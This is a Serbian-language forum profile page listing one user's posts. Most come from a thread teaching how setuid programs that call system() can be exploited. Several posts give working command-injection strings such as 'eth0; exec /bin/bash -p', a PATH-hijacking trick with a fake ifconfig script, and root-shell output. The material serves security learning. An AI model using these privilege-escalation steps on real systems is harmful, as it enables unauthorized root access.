popeye

Napravljene poruke na forumu

Gledanje 251 članaka - 251 do 260 (od 1,270 ukupno)
  • Autor
    Članci
  • kao odgovor na: Obecanja,obecanja…… #38001
    popeye
    Glavni majstor

    Toma je sigurno neplanirano ostao duže na terenu. Verovatno je negde gde nema signala i izlaz na Internet.

    kao odgovor na: Suid bit i tekstualne datoteke #37913
    popeye
    Glavni majstor

    Tražio si zeca u pogrešnom grmu. 😉

    ifconfig:[code]#!/bin/bash -p

    . /bin/bash -p[/code]

    $ vi ifconfig
    $ chmod 755 ifconfig
    $ PATH=”.” ./a.out eth0
    # id
    uid=1000(popeye) gid=1000(popeye) euid=0(root)

    kao odgovor na: Suid bit i tekstualne datoteke #37910
    popeye
    Glavni majstor

    Ako na sistemu imaš bash1 (starije verzije Slackware distribucije ga sigurno imaju), linkuj /bin/sh na /bin/bash1 i probaj onda, radiće.

    Kako bi pokrenuo shell u ispravljenoj verziji koda?

    kao odgovor na: Suid bit i tekstualne datoteke #37909
    popeye
    Glavni majstor

    da, ovo na slack-u ne radi, ni sa -p…
    koliko sam shvatio, system() ne prenosi euid na bash2 samo ako je komanda /bin/bash, ali ja ni jednu komandu ne mogu da uradim kao root. bice da nisam dobro shvatio ovo objasnjenje za system()?

    sad cu da probam sa exec…

    Bash2 odbacuje euid kada ga koristi system funkcija. Naredba “ifconfig eth0” u system() funkciji poziva ustvari “sh -c ifconfig eth0” i tada dolazi do odbacivanja euid vrednosti.

    kao odgovor na: Suid bit i tekstualne datoteke #37908
    popeye
    Glavni majstor

    Ako unesemo proveru unosa, kako bismo onda zaobišli ovakav kod:

    [code]#include
    #include

    int main(int argc, char *argv[]) {

    char cmd[50] = “ifconfig “;
    char interfejs[] = “eth0”;
    if (strcmp(argv[1], interfejs)==0) {
    strcat(cmd, argv[1]);
    } else {
    printf(“Argument “%s” nije mrezni interfejs!n”, argv[1]);
    return 0;
    }

    system(cmd);
    return 0;

    }[/code]

    Ima li još neko koga ovo interesuje pored japana?

    Izmena: Ispravka koda.

    kao odgovor na: Suid bit i tekstualne datoteke #37906
    popeye
    Glavni majstor

    Opet, ponavljam, root privilegije dobijaš samo na Debianu i derivatima, ovo iznad je izlaz sa Ubuntu Breezy distribucije.

    kao odgovor na: Suid bit i tekstualne datoteke #37905
    popeye
    Glavni majstor

    Hehe, bash zaštita od prenosa euida. 😉

    [code]$ ./a.out “eth0; exec /bin/bash -p”
    # id
    uid=1000(popeye) gid=1000(popeye) euid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy), 29(audio),30(dip),44(video),46(plugdev),107(lpadmin),108(scanner),109(admin),1000(popeye)[/code]

    Koji je euid? 😉

    kao odgovor na: Suid bit i tekstualne datoteke #37903
    popeye
    Glavni majstor

    Probaj:

    [code]$ ./a.out “eth0; exec /bin/bash”[/code]

    kao odgovor na: Suid bit i tekstualne datoteke #37901
    popeye
    Glavni majstor

    Lepo napisali ljudi u dokumentaciji za system() funkciju. Imaš li ideju kako da dobiješ shell?

    kao odgovor na: Suid bit i tekstualne datoteke #37898
    popeye
    Glavni majstor

    jesi ti dobio shell sa nekim od ovih primera? neki expansion bi trebalo da odradi, ali koji?

    Svaki od primera omogućava dobijanje shell-a, na više načina. Skripte, naravno, na Linuxu ne mogu da preuzmu root euid, te nisu administratorske privilegije, ali shell je tu.

Gledanje 251 članaka - 251 do 260 (od 1,270 ukupno)